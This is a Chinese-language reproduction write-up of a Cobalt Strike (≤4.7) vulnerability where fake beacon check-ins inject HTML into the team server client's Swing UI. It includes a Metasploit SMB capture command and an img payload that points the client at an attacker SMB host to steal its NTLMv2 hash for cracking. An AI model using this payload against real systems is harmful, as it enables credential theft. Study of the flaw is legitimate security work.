1. 漏洞说明
Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行。
漏洞等级:严重 漏洞评分:9.8
影响版本:CobaltStrike<=4.7
2.Cobalt Strike上线(HTTP型Beacon)
2.1 创建监听器
CobaltStrike中创建一个listener监听器并生成木马文件。
2.2 对beacon进行分析
HTTP型Beacon 上线包是由RSA加密的metadata插在cookie里,这个metadata就是元数据,大体包含一些基本信息比如用户名、主机名、操作系统信息和AES KEY等。teamserver通过metadata里解析这些数据后显示在首页,从里面获取aes key后用于后续的任务下发相关的数据加解密。
利用工具CobaltStrikeParser对生成的beacon进行分析:着重关注3部分,依次为:Port、PublicKey、C2Server.其中PublicKey后面的AAAAA........均为填充,正确的key使用时需去掉填充部分。特别的,利用脚本CS_fakesubmit可进行批量伪装上线:
3.1 开启http-server
启动http-server,并存在一张名为123.jpeg的图片。3.2 运行CS_fakesubmit
3.3 查看CS
可以看到,这个xss的位置会一直请求这个图片,user位置存在一个图片。通过了解NTLM认证原理及过程,可以清楚的知道,在NTLM认证过程中,用户使用:域名、用户名、密码,登陆到某台客户端。客户端计算并存储用户密码的加密散列值(Hash),然后将真实的密码丢掉(即不保存用户真实的密码)。可以通过捕获SMB流量以及欺骗NBNS对NTLM2 hash进行获取。kali:192.168.245.133 CS的服务端
win10:192.168.245.134 CS的客户端4.1 利用msf进行监听
use auxiliary/server/capture/smb
4.2 CS伪造批量上线
<html><img src=file://192.168.245.133/123.jpeg>
4.3 查看CS客户端以及kali监听情况
查看kali监听情况,获取到CS客户端所在机器的NTLMv2-SSP Hash可以通过hashcat或john等工具对获得的hsah值进行爆破从而获得明文密码。这里说一下此处获取hash的原理:通过msf的server/capture/smb启动smb服务,查看smb工作原理可以知道:只要对smb服务器发起请求,就会携带账号密码等信息(即上文获取到的信息)进行认证。因为图片中发送的次数为140次,会不断的对smb服务器进行访问,因此也会一直获得同样的hash值。其中,值得注意的是,上文中提到的上线脚本加密使用的RSA密钥的长度为128位,RSA算法规定加密的长度不能超过密钥的长度减去11,即:128-11=117。在对xss进行复现以及窃取NTLM时,payload的长度毫无疑问均超过了117位,因此需要对脚本的加密部分进行修改。目前官方已发布安全版本修复上述漏洞,建议受影响的用户升级至安全版本。参考链接:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
特别的,该漏洞的最根本的原因在于Java的Swing组件可以进行html渲染,这可能通过html标签访问网络资源(SSRF)获取使用者的hash或者获取RCE。因此该漏洞影响的不仅仅是CS,以及现有基于Java的Swing组件开发的红队工具的客户端。
文章来源: http://mp.weixin.qq.com/s?__biz=MzkzODI1NjMyNQ==&mid=2247484192&idx=1&sn=23e616593af3c3379a8770435f617499&chksm=c283b18af5f4389cc304ecb1f36f64ec2fb8f1422b2001f2938873890269278765e22ca8f1e2#rd
如有侵权请联系:admin#unsafe.sh